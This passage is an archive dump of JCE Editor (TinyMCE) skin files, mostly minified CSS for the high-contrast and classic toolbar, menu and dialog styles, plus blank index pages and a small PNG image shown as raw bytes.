.highcontrastSkin table,.highcontrastSkin tbody,.highcontrastSkin a,.highcontrastSkin img,.highcontrastSkin tr,.highcontrastSkin div,.highcontrastSkin td,.highcontrastSkin iframe,.highcontrastSkin span,.highcontrastSkin *,.highcontrastSkin .mceText{border:0;margin:0;padding:0;vertical-align:baseline;border-collapse:separate;box-sizing:initial;}.highcontrastSkin a:hover,.highcontrastSkin a:link,.highcontrastSkin a:visited,.highcontrastSkin a:active{text-decoration:none;font-weight:normal;cursor:default;}.highcontrastSkin table td{vertical-align:middle;}.highcontrastSkin .mceIconOnly{display:block!important;}.highcontrastSkin .mceExternalToolbar{position:absolute;border:1px solid;border-bottom:0;display:none;background-color:white;}.highcontrastSkin .mceExternalToolbar td.mceToolbar{padding-right:13px;}.highcontrastSkin .mceExternalClose{position:absolute;top:3px;right:3px;width:7px;height:7px;}.highcontrastSkin table.mceLayout{border:1px solid;}.highcontrastSkin .mceIframeContainer{border-top:1px solid;border-bottom:1px solid;}.highcontrastSkin .mceStatusbar a:hover{text-decoration:underline;}.highcontrastSkin .mceStatusbar{display:block;line-height:1.5em;overflow:visible;}.highcontrastSkin .mceStatusbar div{float:left;}.highcontrastSkin .mceStatusbar a.mceResize{display:block;float:right;width:20px;height:20px;cursor:se-resize;outline:0;}.highcontrastSkin .mceToolbar td{display:inline-block;float:left;}.highcontrastSkin .mceToolbar tr{display:block;}.highcontrastSkin .mceToolbar table{display:block;}.highcontrastSkin .mceButton{display:block;margin:2px;padding:5px 10px;border:1px solid;border-radius:3px;-moz-border-radius:3px;-webkit-border-radius:3px;-ms-border-radius:3px;height:2em;}.highcontrastSkin .mceButton .mceVoiceLabel{height:100%;vertical-align:center;line-height:2em;}.highcontrastSkin .mceButtonDisabled .mceVoiceLabel{opacity:.6;-ms-filter:'alpha(opacity=60)';filter:alpha(opacity=60);}.highcontrastSkin .mceButtonActive,.highcontrastSkin .mceButton:focus,.highcontrastSkin .mceButton:active{border:5px solid;padding:1px 6px;-webkit-focus-ring-color:none;outline:none;}.highcontrastSkin .mceSeparator{display:block;width:16px;height:26px;}.highcontrastSkin .mceListBox{display:block;margin:2px;-webkit-focus-ring-color:none;outline:none;}.highcontrastSkin .mceListBox .mceText{padding:5px 6px;line-height:2em;width:15ex;overflow:hidden;}.highcontrastSkin .mceListBoxDisabled .mceText{opacity:.6;-ms-filter:'alpha(opacity=60)';filter:alpha(opacity=60);}.highcontrastSkin .mceListBox a.mceText{padding:5px 10px;display:block;height:2em;line-height:2em;border:1px solid;border-right:0;border-radius:3px 0 0 3px;-moz-border-radius:3px 0 0 3px;-webkit-border-radius:3px 0 0 3px;-ms-border-radius:3px 0 0 3px;}.highcontrastSkin .mceListBox a.mceOpen{padding:5px 4px;display:block;height:2em;line-height:2em;border:1px solid;border-left:0;border-radius:0 3px 3px 0;-moz-border-radius:0 3px 3px 0;-webkit-border-radius:0 3px 3px 0;-ms-border-radius:0 3px 3px 0;}.highcontrastSkin .mceListBox:focus a.mceText,.highcontrastSkin .mceListBox:active a.mceText{border-width:5px;padding:1px 10px 1px 6px;}.highcontrastSkin .mceListBox:focus a.mceOpen,.highcontrastSkin .mceListBox:active a.mceOpen{border-width:5px;padding:1px 0 1px 4px;}.highcontrastSkin .mceListBoxMenu{overflow-y:auto;}.highcontrastSkin .mceSplitButtonDisabled .mceAction{opacity:.3;-ms-filter:'alpha(opacity=30)';filter:alpha(opacity=30);}.highcontrastSkin .mceSplitButton{border-collapse:collapse;margin:2px;height:2em;line-height:2em;-webkit-focus-ring-color:none;outline:none;}.highcontrastSkin .mceSplitButton td{display:table-cell;float:none;margin:0;padding:0;height:2em;}.highcontrastSkin .mceSplitButton tr{display:table-row;}.highcontrastSkin table.mceSplitButton{display:table;}.highcontrastSkin .mceSplitButton a.mceAction{padding:5px 10px;display:block;height:2em;line-height:2em;overflow:hidden;border:1px solid;border-right:0;border-radius:3px 0 0 3px;-moz-border-radius:3px 0 0 3px;-webkit-border-radius:3px 0 0 3px;-ms-border-radius:3px 0 0 3px;}.highcontrastSkin .mceSplitButton a.mceOpen{padding:5px 4px;display:block;height:2em;line-height:2em;border:1px solid;border-radius:0 3px 3px 0;-moz-border-radius:0 3px 3px 0;-webkit-border-radius:0 3px 3px 0;-ms-border-radius:0 3px 3px 0;}.highcontrastSkin .mceSplitButton .mceVoiceLabel{height:2em;vertical-align:center;line-height:2em;}.highcontrastSkin .mceSplitButton:focus a.mceAction,.highcontrastSkin .mceSplitButton:active a.mceAction{border-width:5px;border-right-width:1px;padding:1px 10px 1px 6px;-webkit-focus-ring-color:none;outline:none;}.highcontrastSkin .mceSplitButton:focus a.mceOpen,.highcontrastSkin .mceSplitButton:active a.mceOpen{border-width:5px;border-left-width:1px;padding:1px 0 1px 4px;-webkit-focus-ring-color:none;outline:none;}.highcontrastSkin .mceNoIcons span.mceIcon{width:0;}.highcontrastSkin .mceMenu{position:absolute;left:0;top:0;z-index:1000;border:1px solid;}.highcontrastSkin .mceMenu table{background:white;color:black;}.highcontrastSkin .mceNoIcons a .mceText{padding-left:10px;}.highcontrastSkin .mceMenu a,.highcontrastSkin .mceMenu span,.highcontrastSkin .mceMenu{display:block;background:white;color:black;}.highcontrastSkin .mceMenu td{height:2em;}.highcontrastSkin .mceMenu a{position:relative;padding:3px 0 4px 0;display:block;}.highcontrastSkin .mceMenu .mceText{position:relative;display:block;cursor:default;margin:0;padding:0 25px 0 25px;}.highcontrastSkin .mceMenu pre.mceText{font-family:Monospace;}.highcontrastSkin .mceMenu .mceIcon{position:absolute;top:0;left:0;width:26px;}.highcontrastSkin td.mceMenuItemSeparator{border-top:1px solid;height:1px;}.highcontrastSkin .mceMenuItemTitle a{border:0;border-bottom:1px solid;}.highcontrastSkin .mceMenuItemTitle span.mceText{font-weight:bold;padding-left:4px;}.highcontrastSkin .mceNoIcons .mceMenuItemSelected span.mceText:before{content:"\2713\A0";}.highcontrastSkin .mceMenu span.mceMenuLine{display:none;}.highcontrastSkin .mceMenuItemSub a .mceText:after{content:"\A0\25B8";}.highcontrastSkin .mceDialog{position:absolute;left:0;top:0;z-index:1000;border:1px solid #000;direction:ltr;background:#fff;padding:2px;}.highcontrastSkin .mceDialog label{margin:5px;}.highcontrastSkin .mceDialog input{margin:5px;}.highcontrastSkin .mceDialog a.mceButton{cursor:pointer;min-width:50px;height:auto;text-align:center;float:right;margin:5px 5px 5px 0;font-family:Tahoma,Verdana,Arial,Helvetica;font-size:11px;line-height:20px;border:1px solid #000;}.highcontrastSkin .mceDialog a.mceButton:hover{border:1px solid #0A246A;background-color:#B6BDD2;}.highcontrastSkin a.mceButton.disabled{border-color:#eee;color:#ccc;cursor:default;}.highcontrastSkin a.mceButton.disabled:hover{border-color:#eee;background-color:#fff;color:#ccc;}.highcontrastSkin .mceDialog div,.highcontrastSkin .mceDialog input{font-family:Verdana,Arial,Helvetica,sans-serif;font-size:11px;}.highcontrastSkin div.mceColorSplitMenu table{background:#FFF;border:1px solid;color:#000;}.highcontrastSkin .mceColorSplitMenu td{padding:2px;}.highcontrastSkin .mceColorSplitMenu a{display:block;width:16px;height:16px;overflow:hidden;color:#000;margin:0;padding:0;}.highcontrastSkin .mceColorSplitMenu td.mceMoreColors{padding:1px 3px 1px 1px;}.highcontrastSkin .mceColorSplitMenu a.mceMoreColors{width:100%;height:auto;text-align:center;font-family:Tahoma,Verdana,Arial,Helvetica;font-size:11px;line-height:20px;border:1px solid #FFF;}.highcontrastSkin .mceColorSplitMenu a.mceMoreColors:hover{border:1px solid;background-color:#B6BDD2;}.highcontrastSkin a.mceMoreColors:hover{border:1px solid #0A246A;color:#000;}.highcontrastSkin .mceColorPreview{display:none;}.highcontrastSkin .mce_forecolor span.mceAction,.highcontrastSkin .mce_backcolor span.mceAction{height:17px;overflow:hidden;}.highcontrastSkin table.mceTableSplitMenu{width:120px;height:80px;background:#FFF;border:1px solid;color:#000;}.highcontrastSkin table.mceTableSplitMenu td{border:1px solid;background-color:#FFF;}.highcontrastSkin table.mceTableSplitMenu td.selected{background-color:#B6BDD2;}.highcontrastSkin table.mceTableSplitMenu tfoot td.mceTableGridCount{background-color:#FFF;text-align:center;font-family:Tahoma,Verdana,Arial,Helvetica;font-size:11px;line-height:20px;}.highcontrastSkin .mceBlocker{position:absolute;left:0;top:0;z-index:1000;opacity:.5;-ms-filter:'alpha(opacity=30)';filter:alpha(opacity=50);background:#FFF;}.highcontrastSkin .mceProgress{position:absolute;left:0;top:0;z-index:1001;background:url(../default/img/progress.gif) no-repeat;width:32px;height:32px;margin:-16px 0 0 -16px;}.highcontrastSkin .mce_address span.mceText{font-style:italic;}.highcontrastSkin .mce_pre span.mceText{font-family:monospace;}.highcontrastSkin .mce_h1 span.mceText{font-weight:bolder;font-size:2em;}.highcontrastSkin .mce_h2 span.mceText{font-weight:bolder;font-size:1.5em;}.highcontrastSkin .mce_h3 span.mceText{font-weight:bolder;font-size:1.17em;}.highcontrastSkin .mce_h4 span.mceText{font-weight:bolder;font-size:1em;}.highcontrastSkin .mce_h5 span.mceText{font-weight:bolder;font-size:.83em;}.highcontrastSkin .mce_h6 span.mceText{font-weight:bolder;font-size:.75em;}editor/tiny_mce/themes/advanced/skins/classic/index.html000060400000000054150751770420017443 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/themes/advanced/skins/classic/ui.admin.css000060400000002622150751770420017667 0ustar00/*JCE Editor - 2.5.16 | 08 April 2016 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2016 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html*/
#jce .classicSkin span.mceIcon.mce_fontselect,#jce .classicSkin span.mceIcon.mce_styleselect,#jce .classicSkin span.mceIcon.mce_formatselect,#jce .classicSkin span.mceIcon.mce_fontsizeselect{background:#FFF url('img/layout.png') no-repeat 13px -1px;}#jce .classicSkin span.mceIcon.mce_paste,#jce .classicSkin span.mceIcon.mce_numlist,#jce .classicSkin span.mceIcon.mce_bullist,#jce .classicSkin span.mceIcon.mce_forecolor,#jce .classicSkin span.mceIcon.mce_backcolor,#jce .classicSkin span.mceIcon.mce_spellchecker,#jce .classicSkin span.mceIcon.mce_textcase{background-color:#F0F0EE;}#jce .classicSkin .mceListBox{border:1px solid #ccc;margin:0 1px 0 0;}#jce .classicSkin .mceSplitButton{border:1px solid #ccc;}#jce .classicSkin span.mceSplitButton span.mceIcon:after{content:"";display:inline-block;position:absolute;top:0;right:-1px;background:url("img/layout.png") no-repeat -61px -1px;width:11px;height:20px;}#jce .classicSkin .mceToolbar{border:1px solid #CCC;background:#F0F0EE;}#jce .classicSkin .mceStatusbar{border:1px solid #CCC;background:#F0F0EE;}#jce .classicSkin .mceIframeContainer{border:1px solid #CCC;}#jce .classicSkin span.mce_readmore img,#jce .classicSkin span.mce_pagebreak img{display:none;}editor/tiny_mce/themes/advanced/skins/classic/content.css000060400000000370150751770420017633 0ustar00/*JCE Editor - 2.5.16 | 08 April 2016 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2016 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html*/
@import url('../default/content.css');editor/tiny_mce/themes/advanced/skins/classic/img/layout.png000060400000000201150751770420020237 0ustar00�PNG


IHDRH2SPLTE�����������*�tRNS@��f#IDATxc@����BR�V��/1��c�Z7�=��"���i�+IEND�B`�editor/tiny_mce/themes/advanced/skins/classic/img/index.html000060400000000054150751770420020217 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/themes/advanced/skins/classic/ui.css000060400000046317150751770420016611 0ustar00/*JCE Editor - 2.5.16 | 08 April 2016 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2016 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html*/
.classicSkin table,.classicSkin tbody,.classicSkin a,.classicSkin img,.classicSkin tr,.classicSkin div,.classicSkin td,.classicSkin iframe,.classicSkin span,.classicSkin *,.classicSkin .mceText{border:0;margin:0;padding:0;background:transparent;white-space:nowrap;text-decoration:none;font-weight:normal;cursor:default;color:#000;vertical-align:baseline;width:auto;border-collapse:separate;text-align:left;box-sizing:initial;}.classicSkin a:hover,.classicSkin a:link,.classicSkin a:visited,.classicSkin a:active{text-decoration:none;font-weight:normal;cursor:default;color:#000;}.classicSkin table td{vertical-align:middle;width:auto;}.classicSkin table{direction:ltr;background:#F0F0EE;}.classicSkin iframe{display:block;background:#FFF;}.classicSkin .mceToolbar{height:26px;}.classicSkin .mceLeft{text-align:left;}.classicSkin .mceRight{text-align:right;}.classicSkin .mceExternalToolbar{position:absolute;border:1px solid #CCC;border-bottom:0;display:none;}.classicSkin .mceExternalToolbar td.mceToolbar{padding-right:13px;}.classicSkin .mceExternalClose{position:absolute;top:3px;right:3px;width:7px;height:7px;background:url(../../img/icons.gif) -820px 0;}.classicSkin table.mceLayout{border:0;border-left:1px solid #CCC;border-right:1px solid #CCC;}.classicSkin table.mceLayout tr.mceFirst td{border-top:1px solid #CCC;}.classicSkin table.mceLayout tr.mceLast td{border-bottom:1px solid #CCC;}.classicSkin table.mceToolbar,.classicSkin tr.mceFirst .mceToolbar tr td,.classicSkin tr.mceLast .mceToolbar tr td{border:0;margin:0;padding:0;}.classicSkin td.mceToolbar{padding-top:1px;vertical-align:top;}.classicSkin .mceIframeContainer{border-top:1px solid #CCC;border-bottom:1px solid #CCC;}.classicSkin .mceStatusbar{font-family:'MS Sans Serif',sans-serif,Verdana,Arial;font-size:9pt;line-height:16px;overflow:visible;color:#000;display:block;height:20px;}.classicSkin .mceStatusbar div{float:left;margin:2px;}.classicSkin .mceStatusbar a.mceResize{display:block;float:right;background:url(../../img/icons.gif) -800px 0;width:20px;height:20px;cursor:se-resize;}.classicSkin .mceStatusbar a:hover{text-decoration:underline;}.classicSkin table.mceToolbar{margin-left:3px;width:auto!important;}.classicSkin span.mceIcon,.classicSkin img.mceIcon{display:block;width:20px;height:20px;}.classicSkin .mceIcon{background:url(../../img/icons.gif) no-repeat 20px 20px;}.classicSkin .mceButton .mceIcon{background-color:#F0F0EE;}.classicSkin td.mceCenter{text-align:center;}.classicSkin td.mceCenter table{margin:0 auto;text-align:left;}.classicSkin td.mceRight table{margin:0 0 0 auto;}.classicSkin .mceButton{display:block;border:1px solid #CCC;width:20px;height:20px;margin-right:1px;-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px;}.classicSkin a.mceButtonEnabled:hover{border:1px solid #0A246A;}.classicSkin a.mceButtonEnabled:hover .mceIcon{background-color:#B2BBD0;}.classicSkin a.mceButtonActive,.classicSkin a.mceButtonSelected{border:1px solid #0A246A;}.classicSkin a.mceButtonActive .mceIcon,.classicSkin a.mceButtonSelected .mceIcon{background-color:#C2CBE0;}.classicSkin .mceButtonDisabled .mceIcon{opacity:.3;-ms-filter:'alpha(opacity=30)';filter:alpha(opacity=30);}.classicSkin .mceButtonLabeled{width:auto;}.classicSkin .mceButtonLabeled span.mceIcon{float:left;}.classicSkin span.mceButtonLabel{display:block;font-size:10px;padding:4px 6px 0 22px;font-family:Tahoma,Verdana,Arial,Helvetica;}.classicSkin .mceButtonDisabled .mceButtonLabel{color:#888;}.classicSkin .mceSeparator{width:0;height:20px;margin:0 4px;padding:4px 0;border-left:1px solid #CCC;}.classicSkin .mceListBox,.classicSkin .mceListBox a{display:block;}.classicSkin .mceListBox .mceText{padding-left:4px;width:70px;text-align:left;border:1px solid #CCC;border-right:0;background:#FFF;font-family:Tahoma,Verdana,Arial,Helvetica;font-size:11px;height:20px;line-height:20px;overflow:hidden;-webkit-border-top-left-radius:2px;-webkit-border-bottom-left-radius:2px;-moz-border-radius-topleft:2px;-moz-border-radius-bottomleft:2px;border-top-left-radius:2px;border-bottom-left-radius:2px;}.classicSkin .mceListBox .mceOpen{width:9px;height:20px;background:url(../../img/icons.gif) -741px 0;margin-right:2px;border:1px solid #CCC;-webkit-border-top-right-radius:2px;-webkit-border-bottom-right-radius:2px;-moz-border-radius-topright:2px;-moz-border-radius-bottomright:2px;border-top-right-radius:2px;border-bottom-right-radius:2px;}.classicSkin table.mceListBoxEnabled:hover .mceText,.classicSkin .mceListBoxHover .mceText,.classicSkin .mceListBoxSelected .mceText{border:1px solid #A2ABC0;border-right:0;background:#FFF;}.classicSkin table.mceListBoxEnabled:hover .mceOpen,.classicSkin .mceListBoxHover .mceOpen,.classicSkin .mceListBoxSelected .mceOpen{background-color:#FFF;border:1px solid #A2ABC0;}.classicSkin .mceListBoxDisabled a.mceText{color:gray;background-color:transparent;}.classicSkin .mceListBoxMenu{overflow:auto;overflow-x:hidden;}.classicSkin .mceOldBoxModel .mceListBox .mceText{height:22px;}.classicSkin .mceOldBoxModel .mceListBox .mceOpen{width:11px;height:22px;}.classicSkin select.mceNativeListBox{font-family:'MS Sans Serif',sans-serif,Verdana,Arial;font-size:7pt;background:#F0F0EE;border:1px solid gray;margin-right:2px;}.classicSkin .mceSplitButton{width:32px;height:20px;direction:ltr;margin:0 1px 0 0;}.classicSkin .mceSplitButton a,.classicSkin .mceSplitButton span{height:20px;display:block;}.classicSkin .mceSplitButton a.mceAction{width:20px;border:1px solid #CCC;border-right:0;-webkit-border-top-left-radius:2px;-webkit-border-bottom-left-radius:2px;-moz-border-radius-topleft:2px;-moz-border-radius-bottomleft:2px;border-top-left-radius:2px;border-bottom-left-radius:2px;}.classicSkin .mceSplitButton span.mceAction{width:20px;background-image:url(../../img/icons.gif);}.classicSkin .mceSplitButton a.mceOpen{width:9px;background:url(../../img/icons.gif) -741px 0;border:1px solid #CCC;-webkit-border-top-right-radius:2px;-webkit-border-bottom-right-radius:2px;-moz-border-radius-topright:2px;-moz-border-radius-bottomright:2px;border-top-right-radius:2px;border-bottom-right-radius:2px;}.classicSkin .mceSplitButton span.mceOpen{display:none;}.classicSkin table.mceSplitButtonEnabled:hover a.mceAction,.classicSkin .mceSplitButtonHover a.mceAction,.classicSkin .mceSplitButtonSelected a.mceAction{border:1px solid #0A246A;border-right:0;background-color:#B2BBD0;}.classicSkin table.mceSplitButtonEnabled:hover a.mceOpen,.classicSkin .mceSplitButtonHover a.mceOpen,.classicSkin .mceSplitButtonSelected a.mceOpen{background-color:#B2BBD0;border:1px solid #0A246A;}.classicSkin .mceSplitButtonDisabled .mceAction,.classicSkin .mceSplitButtonDisabled a.mceOpen{opacity:.3;-ms-filter:'alpha(opacity=30)';filter:alpha(opacity=30);}.classicSkin .mceSplitButtonActive a.mceAction{border:1px solid #0A246A;background-color:#C2CBE0;}.classicSkin .mceSplitButtonActive a.mceOpen{border-left:0;}.classicSkin div.mceColorSplitMenu table{background:#FFF;border:1px solid gray;}.classicSkin .mceColorSplitMenu td{padding:2px;}.classicSkin .mceColorSplitMenu a{display:block;width:9px;height:9px;overflow:hidden;border:1px solid #808080;}.classicSkin .mceColorSplitMenu td.mceMoreColors{padding:1px 3px 1px 1px;}.classicSkin .mceColorSplitMenu a.mceMoreColors{width:100%;height:auto;text-align:center;font-family:Tahoma,Verdana,Arial,Helvetica;font-size:11px;line-height:20px;border:1px solid #FFF;}.classicSkin .mceColorSplitMenu a.mceMoreColors:hover{border:1px solid #0A246A;background-color:#B6BDD2;}.classicSkin a.mceMoreColors:hover{border:1px solid #0A246A;}.classicSkin .mceColorPreview{margin-left:2px;width:16px;height:4px;overflow:hidden;background:#9a9b9a;}.classicSkin .mce_forecolor span.mceAction,.classicSkin .mce_backcolor span.mceAction{overflow:hidden;height:15px;}.classicSkin table.mceTableSplitMenu{width:120px;height:80px;background:#FFF;border:1px solid #ccc;border-spacing:1px;}.classicSkin table.mceTableSplitMenu td{border:1px solid #ccc;background-color:#FFF;}.classicSkin table.mceTableSplitMenu td.selected{background-color:#C2CBE0;}.classicSkin table.mceTableSplitMenu tfoot td.mceTableGridCount{background-color:#FFF;text-align:center;font-family:Tahoma,Verdana,Arial,Helvetica;font-size:11px;line-height:20px;}.classicSkin .mceMenu{position:absolute;left:0;top:0;z-index:1000;border:1px solid #D4D0C8;}.classicSkin .mceNoIcons span.mceIcon{width:0;}.classicSkin .mceNoIcons a .mceText{padding-left:10px;}.classicSkin .mceMenu table{background:#FFF;}.classicSkin .mceMenu a,.classicSkin .mceMenu span,.classicSkin .mceMenu{display:block;}.classicSkin .mceMenu td{height:20px;}.classicSkin .mceMenu a{position:relative;padding:3px 0 4px 0;}.classicSkin .mceMenu .mceText{position:relative;display:block;font-family:Tahoma,Verdana,Arial,Helvetica;color:#000;cursor:default;margin:0;padding:0 25px 0 25px;display:block;}.classicSkin .mceMenu span.mceText,.classicSkin .mceMenu .mcePreview{font-size:11px;}.classicSkin .mceMenu pre.mceText{font-family:Monospace;}.classicSkin .mceMenu .mceIcon{position:absolute;top:0;left:0;width:22px;}.classicSkin .mceMenu .mceMenuItemEnabled a:hover,.classicSkin .mceMenu .mceMenuItemActive{background-color:#dbecf3;}.classicSkin td.mceMenuItemSeparator{background:#DDD;height:1px;}.classicSkin .mceMenuItemTitle a{border:0;background:#EEE;border-bottom:1px solid #DDD;}.classicSkin .mceMenuItemTitle span.mceText{color:#000;font-weight:bold;padding-left:4px;}.classicSkin .mceMenuItemDisabled .mceText{color:#888;}.classicSkin .mceMenuItemSelected .mceIcon{background:url(../default/img/menu_check.gif);}.classicSkin .mceNoIcons .mceMenuItemSelected a{background:url(../default/img/menu_arrow.gif) no-repeat -6px center;}.classicSkin .mceMenu span.mceMenuLine{display:none;}.classicSkin .mceMenuItemSub a{background:url(../default/img/menu_arrow.gif) no-repeat top right;}.classicSkin .mceButtonDialog{position:absolute;left:0;top:1px;z-index:1000;border:1px solid #ccc;direction:ltr;background:#F0F0EE;padding:3px;}.classicSkin.mceButtonDialogActive .mceButtonDialog{border-color:#0A246A;background-color:#C2CBE0;}.classicSkin.mceButtonDialogActive .mceButtonDialog:before{background-color:#C2CBE0;border-color:#0A246A;}.classicSkin .mceButtonDialog fieldset{margin:0;padding:4px;border:0 none;font-family:Verdana,Arial;font-size:10px;}.classicSkin .mceButtonDialog fieldset legend{color:#2B6FB6;font-weight:bold;font-size:11px;margin:0;}.classicSkin .mceButtonDialog .mceButtonDialogContent{background-color:#fff;}.classicSkin .mceButtonDialog label{margin:5px;min-width:30px;display:inline-block;}.classicSkin .mceButtonDialog input{margin:3px;}.classicSkin .mceButtonDialog input[type="text"]{border:1px solid #ccc;padding:2px;}.classicSkin .mceButtonDialog .mceButtonDialogButtons a.mceDialogButton{display:inline-block;background-color:#fff;cursor:pointer;min-width:50px;height:auto;text-align:center;margin:5px 5px 5px 0;font-family:Tahoma,Verdana,Arial,Helvetica;font-size:11px;line-height:20px;border:1px solid #ccc;}.classicSkin .mceButtonDialog .mceButtonDialogButtons a.mceDialogButton:hover{border:1px solid #0A246A;background-color:#B6BDD2;}.classicSkin .mceButtonDialog .mceButtonDialogButtons a.mceDialogButton.disabled{opacity:.5;-ms-filter:'alpha(opacity=50)';filter:alpha(opacity=50);}.classicSkin .mceButtonDialog .mceButtonDialogButtons a.mceDialogButton.disabled:hover{background-color:#fff;cursor:pointer;border-color:#ccc;}.classicSkin .mceButtonDialog .mceButtonDialogButtons{text-align:right;background-color:#fff;}.classicSkin .mceButtonDialog:before{content:"";display:block;position:absolute;width:20px;background-color:#F0F0EE;height:6px;left:-1px;top:-6px;border-left:1px solid #ccc;border-right:1px solid #ccc;}.classicSkin .mceButtonDialog div,.classicSkin .mceButtonDialog input{font-family:Verdana,Arial,Helvetica,sans-serif;font-size:11px;}.classicSkin .mceButtonDialog .mceButtonDialogButtons a.mceDialogButton{background:#EDEDED;-webkit-border-radius:2px 2px;border:solid 1px #999;-moz-border-radius:2px 2px;border-radius:2px 2px;background:-webkit-gradient(linear,0% 0,0% 100%,from(#fff),to(#ededed));background:-moz-linear-gradient(center top,#fff,#ededed);color:#333;text-decoration:none;cursor:pointer;display:inline-block;text-align:center;text-shadow:0 1px 1px rgba(255,255,255,1);line-height:1;padding:5px;font-weight:bold;}.classicSkin .mceBlocker{position:absolute;left:0;top:0;z-index:1000;opacity:.5;-ms-filter:'alpha(opacity=50)';filter:alpha(opacity=50);background:#FFF;}.classicSkin .mceProgress{position:absolute;left:0;top:0;z-index:1001;background:url(../default/img/progress.gif) no-repeat;width:32px;height:32px;margin:-16px 0 0 -16px;}.classicSkin .mcePlaceHolder{border:1px dotted gray;}.classicSkin .mce_formatPreview a{font-size:10px;}.classicSkin .mce_address span.mceText{font-style:italic;}.classicSkin .mce_pre span.mceText{font-family:monospace;}.classicSkin .mce_h1 span.mceText{font-weight:bolder;font-size:2em;}.classicSkin .mce_h2 span.mceText{font-weight:bolder;font-size:1.5em;}.classicSkin .mce_h3 span.mceText{font-weight:bolder;font-size:1.17em;}.classicSkin .mce_h4 span.mceText{font-weight:bolder;font-size:1em;}.classicSkin .mce_h5 span.mceText{font-weight:bolder;font-size:.83em;}.classicSkin .mce_h6 span.mceText{font-weight:bolder;font-size:.75em;}.classicSkin span.mce_bold{background-position:0 0;}.classicSkin span.mce_italic{background-position:-60px 0;}.classicSkin span.mce_underline{background-position:-140px 0;}.classicSkin span.mce_strikethrough{background-position:-120px 0;}.classicSkin span.mce_undo{background-position:-160px 0;}.classicSkin span.mce_redo{background-position:-100px 0;}.classicSkin span.mce_cleanup{background-position:-40px 0;}.classicSkin span.mce_bullist{background-position:-20px 0;}.classicSkin span.mce_numlist{background-position:-80px 0;}.classicSkin span.mce_justifyleft{background-position:-460px 0;}.classicSkin span.mce_justifyright{background-position:-480px 0;}.classicSkin span.mce_justifycenter{background-position:-420px 0;}.classicSkin span.mce_justifyfull{background-position:-440px 0;}.classicSkin span.mce_anchor{background-position:-200px 0;}.classicSkin span.mce_indent{background-position:-400px 0;}.classicSkin span.mce_outdent{background-position:-540px 0;}.classicSkin span.mce_link{background-position:-500px 0;}.classicSkin span.mce_unlink{background-position:-640px 0;}.classicSkin span.mce_sub{background-position:-600px 0;}.classicSkin span.mce_sup{background-position:-620px 0;}.classicSkin span.mce_removeformat{background-position:-580px 0;}.classicSkin span.mce_newdocument{background-position:-520px 0;}.classicSkin span.mce_image{background-position:-380px 0;}.classicSkin span.mce_help{background-position:-340px 0;}.classicSkin span.mce_code{background-position:-260px 0;}.classicSkin span.mce_source{background-position:-260px 0;}.classicSkin span.mce_hr{background-position:-360px 0;}.classicSkin span.mce_visualaid{background-position:-660px 0;}.classicSkin span.mce_charmap{background-position:-240px 0;}.classicSkin span.mce_paste{background-position:-560px 0;}.classicSkin span.mce_copy{background-position:-700px 0;}.classicSkin span.mce_cut{background-position:-680px 0;}.classicSkin span.mce_blockquote{background-position:-220px 0;}.classicSkin .mce_forecolor span.mceAction{background-position:-720px 0;}.classicSkin .mce_backcolor span.mceAction{background-position:-760px 0;}.classicSkin span.mce_forecolor{background-position:-720px 0;}.classicSkin span.mce_backcolor{background-position:-760px 0;}.classicSkin span.mce_forecolorpicker{background-position:-720px 0;}.classicSkin span.mce_backcolorpicker{background-position:-760px 0;}.classicSkin span.mce_advhr{background-position:-0px -20px;}.classicSkin span.mce_ltr{background-position:-20px -20px;}.classicSkin span.mce_rtl{background-position:-40px -20px;}.classicSkin span.mce_emotions{background-position:-60px -20px;}.classicSkin span.mce_fullpage{background-position:-80px -20px;}.classicSkin span.mce_fullscreen{background-position:-100px -20px;}.classicSkin span.mce_iespell{background-position:-120px -20px;}.classicSkin span.mce_insertdate{background-position:-140px -20px;}.classicSkin span.mce_inserttime{background-position:-160px -20px;}.classicSkin span.mce_absolute{background-position:-180px -20px;}.classicSkin span.mce_insertlayer{background-position:-240px -20px;}.classicSkin span.mce_movebackward{background-position:-200px -20px;}.classicSkin span.mce_moveforward{background-position:-220px -20px;}.classicSkin span.mce_media{background-position:-320px -20px;}.classicSkin span.mce_nonbreaking{background-position:-340px -20px;}.classicSkin span.mce_pastetext{background-position:-360px -20px;}.classicSkin span.mce_pasteword{background-position:-380px -20px;}.classicSkin span.mce_selectall{background-position:-400px -20px;}.classicSkin span.mce_preview{background-position:-420px -20px;}.classicSkin span.mce_print{background-position:-440px -20px;}.classicSkin span.mce_cancel{background-position:-460px -20px;}.classicSkin span.mce_save{background-position:-480px -20px;}.classicSkin span.mce_replace{background-position:-500px -20px;}.classicSkin span.mce_search{background-position:-520px -20px;}.classicSkin span.mce_styleprops{background-position:-560px -20px;}.classicSkin span.mce_style{background-position:-560px -20px;}.classicSkin span.mce_table{background-position:-580px -20px;}.classicSkin span.mce_table_insert{background-position:-580px -20px;}.classicSkin span.mce_cell_props{background-position:-600px -20px;}.classicSkin span.mce_delete_table{background-position:-620px -20px;}.classicSkin span.mce_delete_col{background-position:-640px -20px;}.classicSkin span.mce_delete_row{background-position:-660px -20px;}.classicSkin span.mce_col_after{background-position:-680px -20px;}.classicSkin span.mce_col_before{background-position:-700px -20px;}.classicSkin span.mce_row_after{background-position:-720px -20px;}.classicSkin span.mce_row_before{background-position:-740px -20px;}.classicSkin span.mce_merge_cells{background-position:-760px -20px;}.classicSkin span.mce_table_props{background-position:-980px -20px;}.classicSkin span.mce_row_props{background-position:-780px -20px;}.classicSkin span.mce_split_cells{background-position:-800px -20px;}.classicSkin span.mce_template{background-position:-820px -20px;}.classicSkin span.mce_visualchars{background-position:-840px -20px;}.classicSkin span.mce_abbr{background-position:-860px -20px;}.classicSkin span.mce_acronym{background-position:-880px -20px;}.classicSkin span.mce_attribs{background-position:-900px -20px;}.classicSkin span.mce_cite{background-position:-920px -20px;}.classicSkin span.mce_del{background-position:-940px -20px;}.classicSkin span.mce_ins{background-position:-960px -20px;}.classicSkin span.mce_restoredraft{background-position:-20px -40px;}.classicSkin 